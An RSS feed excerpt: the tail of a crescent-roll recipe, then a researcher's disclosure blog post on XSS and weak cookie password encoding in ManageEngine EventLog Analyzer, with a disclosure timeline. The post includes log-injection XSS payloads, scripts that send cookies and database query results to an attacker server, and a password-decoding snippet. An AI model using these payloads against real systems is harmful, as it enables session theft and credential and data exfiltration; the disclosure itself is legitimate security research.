1 package of yeast(fast-rising)<br>
1/2 warm water<br>
1 tbsp sugar<br>
3 eggs<br>
1/2 cup of sugar<br>
3/4 tsp salt<br>
4 cups of flour</p>
<h1 id="instructions">Instructions</h1>
<ol>
<li>Make yeast mix. Mix packet of yeast with 1/2 cup of warm water and 1 tbsp sugar.</li>
<li>On stove, scald one cup of milk and add 1/2 cup of butter. Let cool until lukewarm.</li>
<li>Beat 3 eggs, well beaten until they are light and fluffy.</li>
<li>Mix milk, yeast mix, and well beaten eggs in a bowl.</li>
<li>Add 1/2 cup of sugar, 3/4 tsp salt and 4 cups of flour to wet ingredients. Mix well</li>
<li>Dough will be sticky. Cover and let rise 5-6 hrs.</li>
<li>Turn onto floured board and divide into half.</li>
<li>Roll out into big circle, around 16″ in diameter. Brush with butter</li>
<li>Cut into triangles, like a pizza is cut and roll into crescent shapes. We found that a pizza cutter works really well for this.</li>
<li>Place rolls onto baking sheet and let rise again! 5-6 hours. If you transfer them after second rise, they will deflate and look sad 🙁</li>
<li>Bake at 400 degrees for 10-12 minutes.</li>
<li>Brush baked rolls with butter and enjoy.</li>
<li>Yields around 30 rolls.</li>
</ol>
<h2 id="tips">Tips</h2>
<ul>
<li>Try to make the dough rise in a warm, humid place. Placing a warm wet towel on tops of the dough helps it grow really well.</li>
<li>Sprinkle flour when rolling out the dough so it doesn’t stick to any surfaces or the roll.</li>
<li>Try to make them equal sized when rolling into crescent shaped rolls.</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Exploiting ManageEngine EventLog Analyzer]]></title><description><![CDATA[ManageEngine Event Log Analyzer persistent cross-site scripting (XSS) vulnerability, Reflected cross-site scripting (XSS) vulnerability, and passwords stored near-clear text in cookies. ]]></description><link>https://init6.me/exploiting-manageengine-eventlog-analyzer/</link><guid isPermaLink="false">59cd8dce1cf30678bf55f71c</guid><category><![CDATA[ManageEngine]]></category><category><![CDATA[Stored-XSS]]></category><category><![CDATA[Reflected-XSS]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Tue, 30 May 2017 00:03:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1503444200347-fa86187a2797?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;s=862841ed5a8ca1a148091de47eec46c1" medium="image"/><content:encoded><![CDATA[<h1 id="disclosuresummary">Disclosure Summary</h1>
<img src="https://images.unsplash.com/photo-1503444200347-fa86187a2797?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&s=862841ed5a8ca1a148091de47eec46c1" alt="Exploiting ManageEngine EventLog Analyzer"><p><a href="https://www.manageengine.com/products/eventlog">ManageEngine Event Log Analyzer</a> (ELA) is an IT compliance and Log Management Software for SIEM. INIT_6 discovered a persistent cross-site scripting (XSS) vulnerability, Reflected cross-site scripting (XSS) vulnerability, and passwords stored near-clear text in cookies. The vendor and CERT have been notified of these issues. The version tested was EventLog Analyzer 11.4, which was the most recent version at the time of initial disclosure. As of today, the current version offered by ManageEngine is EventLog Analyzer 11.5 which is still vulnerable to these attacks.</p>
<h1 id="multiplereflectivexssvulnerabilitiescve201711685">Multiple Reflective XSS Vulnerabilities (CVE-2017-11685)</h1>
<p>First, I will dive into the Reflective XSS. Reflected cross-site scripting occurs when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.</p>
<p>After installing ManageEngine ELA this exploits was quite obvious. Pretty much any screen that has a search, a crafted URL can trigger a Reflected XSS. I stopped documenting after finding the first one. Mostly because the browsers built-in XSS protection was blocking it.</p>
<p>The following example shows setting fName to equal %3Cscript%3Ealert('p0wned');%3C/script%3E when viewed will execute the javascript rendering an alert box within the authenticated users web browser.</p>
<pre><code>http://192.168.2.200:8400/event/appcd.do?baseUrl=appcd.do&amp;formatId=15&amp;table=15&amp;fName=%3Cscript%3Ealert('p0wned');%3C/script%3E&amp;RBBNAME=AppBasicDrillDown_LSR&amp;appId=3&amp;aName=TSA&amp;severity=error&amp;SACountSet=1
</code></pre>
<p><img src="https://init6.me/content/images/2017/09/Reflective_XSS.png" alt="Exploiting ManageEngine EventLog Analyzer"></p>
<h1 id="multiplepersistentxssvulnerabilitiescve201711687">Multiple Persistent XSS Vulnerabilities (CVE-2017-11687)</h1>
<p>I remember reading a blog, where someone had injected php code into a log file that was readable. This has been something that I have always wanted to pull off. I thought since I discovered the Reflective XSS so fast I bet other issues exist.</p>
<p>ManageEngine ELA has a few ways of inputting data.</p>
<ul>
<li>Authenticated users via web interface.</li>
<li>Resources sending event logs.</li>
</ul>
<p>Phishing for syslog XSS.</p>
<pre><code>Jan  8 12:17:01 FBI CRON[408]: pam_unix(cron:session): session opened for user root by (uid=0)
Jan  8 12:17:01 FBI CRON[408]: pam_unix(cron:session): session closed for user root
Jan  8 12:17:01 FBI CRON[408]: pam_unix(cron:session): &lt;/label&gt;&lt;script&gt;alert('in Payload');&lt;/script&gt;&lt;label&gt; session opened for user root by (uid=0)
Jan  8 12:17:01 FBI &lt;script&gt;alert(123);&lt;/script&gt;[408]: pam_unix(cron:session): session closed for user root
Jan  8 12:17:01 &lt;/label&gt;&lt;script&gt;alert(123);&lt;/script&gt;&lt;label&gt;FBI CRON[408]: pam_unix(cron:session): session opened for user root by (uid=0)
</code></pre>
<p>Screenshots of two of the three working. The bottom attack wasn't being extracted because it was considered an invalid log entry.</p>
<p><img src="https://init6.me/content/images/2017/09/Alert_on_Search_In_Payload.png" alt="Exploiting ManageEngine EventLog Analyzer"><br>
<img src="https://init6.me/content/images/2017/09/Alert_on_Search.png" alt="Exploiting ManageEngine EventLog Analyzer"></p>
<p>While investigating how the XSS was working, I noticed the actual script code doesn't show on the page (second image). Which lead me to the conclusion the code was being executed while being retrieved from the database. The code doesn't actually get injected into the page. This compounds the issue as it makes it harder to detect.</p>
<p><img src="https://init6.me/content/images/2017/09/Alert_on_Search_In_Payload_not_showing_WTF.png" alt="Exploiting ManageEngine EventLog Analyzer"><br>
<img src="https://init6.me/content/images/2017/09/Alert_on_Search_In_Payload_not_showing_Oh_there_it_isnt.png" alt="Exploiting ManageEngine EventLog Analyzer"></p>
<p>This attack vector is powerful and could cause a lot of damage. However, it isn't very useful as you need to have control of a resource reporting into the ManageEngine ELA. Next section will show to to accomplish this remotely.</p>
<h2 id="remotepersistentxssvulnerabilities">Remote Persistent XSS Vulnerabilities</h2>
<p>This vulnerability allows a malicious actor to inject persistent XSS containing JavaScript and HTML code in event logs. When this data is viewed within the web interface it will execute within the context of the authenticated user. This can allow a malicious actor to perform attacks which can be used to steal cookie data, and control the product.</p>
<p>Knowing how the vulnerability works. I wrote some JavaScript and html to steal cookie data with out alerting the user to these actions. If a web server is sending logs to ManageEngine ELA. It is possible to craft a malicious HTTP GET request injecting the code into the user-agent header.</p>
<p><code>192.168.2.205 - - [21/Jul/2017:11:02:13 -0600] &quot;GET /badrequest HTTP/1.1&quot; 404 561 &quot;-&quot; &quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 &lt;script&gt;location.href='http://192.168.2.200/cookie.php?test='+escape(document.cookie);&lt;/script&gt;&quot;</code></p>
<p>Video demo of the attack in progress. On the left is the ManageEngine ELA Dashboard with the administrator account searching events. On the right, Is a SSH session into the Attacker's server tailing the log file. After the administrator views the page you will see the GET request sent to the attacker showing the cookie document.</p>
<!-- 16:9 aspect ratio -->
<div class="embed-responsive embed-responsive-16by9">
  <iframe class="embed-responsive-item" src="https://init6.me/videos/p0wning_web.mp4"></iframe>
</div>
<h2 id="remotelydumpingdatabaseviaxssvulnerabilities">Remotely Dumping Database via XSS vulnerabilities</h2>
<p>Using the remote persistent XSS vulnerability. It possible to craft malicious XSS to use the built-in web-based database query tool. This is accomplished by using a double POST request as shown here:</p>
<pre><code>192.168.2.205 - - [04/May/2017:01:02:13 -0600] &quot;GET /badrequest HTTP/1.1&quot; 404 561 &quot;-&quot; &quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 &lt;script&gt;var xhr = new XMLHttpRequest();xhr.open('POST', 'http://192.168.2.205:8400/event/runQuery.do', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.onload = function () {console.log(this.responseText);var xhr2 = new XMLHttpRequest();xhr2.open('POST', 'http://192.168.2.200/cookie.php', true);xhr2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr2.onload = function () {console.log('sent to attacker', '*')};xhr2.send(this.responseText);};xhr.send('execute=true&amp;DatabaseType=postgres&amp;query=select+tablename+from+pg_tables+where+schemaname%3D%27public%27+order+by+tablename');&lt;/script&gt;&quot;
</code></pre>
<p>It first creates a request to the built-in web-based database query tool. Sets the request header. Then sends the request and gets the results and is stored in 'this.responseText'. After the initial request it creates a second request 'xhr.onload'. This new request is being sent to the attackers server. Sets the request header. Then sends the data. The console.log items can be removed it was added for debugging purposes.</p>
<p>Below is the formated attack code:</p>
<pre><code>&lt;script&gt;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://192.168.2.205:8400/event/runQuery.do', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.onload = function () {
            console.log(this.responseText);
            var xhr2 = new XMLHttpRequest();
            xhr2.open('POST', 'http://192.168.2.200/cookie.php', true);
            xhr2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
            xhr2.onload = function () {
                    console.log('sent to attacker', '*')
                    };
            xhr2.send(this.responseText);
            };
    xhr.send('execute=true&amp;DatabaseType=postgres&amp;query=select+tablename+from+pg_tables+where+schemaname%3D%27public%27+order+by+tablename');
&lt;/script&gt;
</code></pre>
<p>Video demo showing the database being dumped to a remote location. On the left, is the ManageEngine ELA dashboard with the administrator account searching events. On the right, Is a SSH session into the Attacker's server tailing the log file. After the administrator views the page you will see the POST request sent to the attacker showing all the available tables.</p>
<p>Using this attack method, it is possible to dump all logs from any resource reporting to ManageEngine ELA. This could allow you to collect session information on web servers for session hijacking, map internal assets, obtain credentials, anything you could use a SIEM for you can use here.</p>
<!-- 16:9 aspect ratio -->
<div class="embed-responsive embed-responsive-16by9">
  <iframe class="embed-responsive-item" src="https://init6.me/videos/p0wning_web_db.mp4"></iframe>
</div>
<h1 id="decodingthepasswordstoredinthecookiecve201711686">Decoding the Password Stored in the Cookie (CVE-2017-11686)</h1>
<p>When a user of ManageEngine ELA checks &quot;Keep me signed in&quot; on the login page. It will encode the users password and store it in the cookie information as shown below. If the Active Directory integration is configured, this will disclose domain credentials.</p>
<pre><code>tooltipDiv=block;
username=admin;
password=7477868287;
domainName=EventLog Authentication;
singlesignon=true;
domains=EventLog Authentication;
JSESSIONID=75E885E6C249A19DBB6CBBF42EDB5169;
JSESSIONIDSSO=63B14E10312545335A47C42E2798848D;
ELABuildNumber=11031;
graphTypes=%7B%22correlationList%22%3A%22Bar%22%2C%22myReport%22%3A%22Horizontal%22%2C%22correlationReport%22%3A%22Bar%22%2C%22sessionActivity%22%3A%22Bar%22%2C%22fimReport%22%3A%22Area%22%2C%22ruleColor%22%3A%22%239dbd2c%22%2C%22reportColor%22%3A%22%239dbd2c%22%2C%22sessionColor%22%3A%22%239dbd2c%22%2C%22fimColor%22%3A%22%239dbd2c%22%2C%22myReportColor%22%3A%22%239dbd2c%22%7D;
panelState=expanded;
sidebar=210;
Window_size=1447;
calselection=custom
</code></pre>
<p>Looking through the javascript code of the application, I found two blocks of code. First is used to 'encrypt' the password. Second is to 'decrypt' the password. They use the words encrypt and decrypt. However, this is actually just encoding as no keys are used to encrypt the data. In addition, regardless of the complexity of obfuscation used, they provided the decode function. It's not needed to understand how the obfuscation works to 'decrypt' the password.</p>
<pre><code>function encryptPassword(textPassword) {
 var num_out = &quot;&quot;;
 var str_in = escape(textPassword);
 for(i = 0; i &lt; str_in.length; i++)  {
   num_out += str_in.charCodeAt(i) - 23;
}
    return num_out;
}

function decryptPassword(encPassword) {
 var str_out = &quot;&quot;;
 var num_out = encPassword;
 for(i = 0; i &lt; num_out.length; i += 2) {
   num_in = parseInt(num_out.substr(i,[2])) + 23;
   num_in = unescape('%' + num_in.toString(16));
   str_out += num_in;
}
    var textPassword = unescape(str_out);
    return textPassword ;
}
</code></pre>
<p>After modifying the decryptPassword function, setting the encPassword manually. This function allows you to execute the javascript in Chrome console to show the clear text password.</p>
<pre><code>var str_out = &quot;&quot;;
var num_out = &quot;7477868287&quot;;
for(i = 0; i &lt; num_out.length; i += 2) {
    num_in = parseInt(num_out.substr(i,[2])) + 23;
    num_in = unescape('%' + num_in.toString(16));
    str_out += num_in;
}
var textPassword = unescape(str_out);
console.log('clear Text Password is: ');
console.log(textPassword);
</code></pre>
<p>Video demo showing the results of the modified decryptPassword function using the password set in the cookie.</p>
<!-- 16:9 aspect ratio -->
<div class="embed-responsive embed-responsive-16by9">
  <iframe class="embed-responsive-item" src="https://init6.me/videos/p0wning_decrypt_password.mp4"></iframe>
</div>
<h1 id="conclusion">Conclusion</h1>
<p>Using the combination of attacks presented here, it is possible to fully infiltrate an organization that is using ManageEngine EventLog Analyzer. Not only can you use these attacks to gain information, it is possible to delete logs to cover up tracks of other malicious actions.</p>
<p>With ManageEngine providing a complete list of all their customers, which many are credit unions and education I believe increases the risk of these vulnerabilities.</p>
<h2 id="timelineofresponsibledisclosure">Time Line of Responsible Disclosure</h2>
<ul>
<li>Sun, Jan 01, 2017: Issues discovered by INIT_6</li>
<li>Mon, Jan 09, 2017: Initial contact to vendor zoho Corp. (Directed my query to ManageEngine)</li>
<li>Tues, Jan 10, 2017: Initial contact to ManageEngine.</li>
<li>Wed, Jan 11, 2017: ManageEngine acknowledged Vulnerability.</li>
<li>Wed, Jan 18, 2017: ManageEngine responded to my query on bug bounty and disclose time frame.</li>
</ul>
<h3 id="edit">EDIT</h3>
<p>As of ManageEngine 11.6, it appears the clear text password vulnerability has been resolved. In their change log it shows &quot;Vulnerabilities in 'Keep me signed in' option in the login page has been fixed using dynamic key based encryption.&quot; It also appears that the other vulnerabilities have been addressed as well. However, they didn't list them in the change log. Surprise Surprise.</p>
<p>They also didn't give me credit what I think is pretty messed up. Oh well.</p>
]]></content:encoded></item></channel></rss>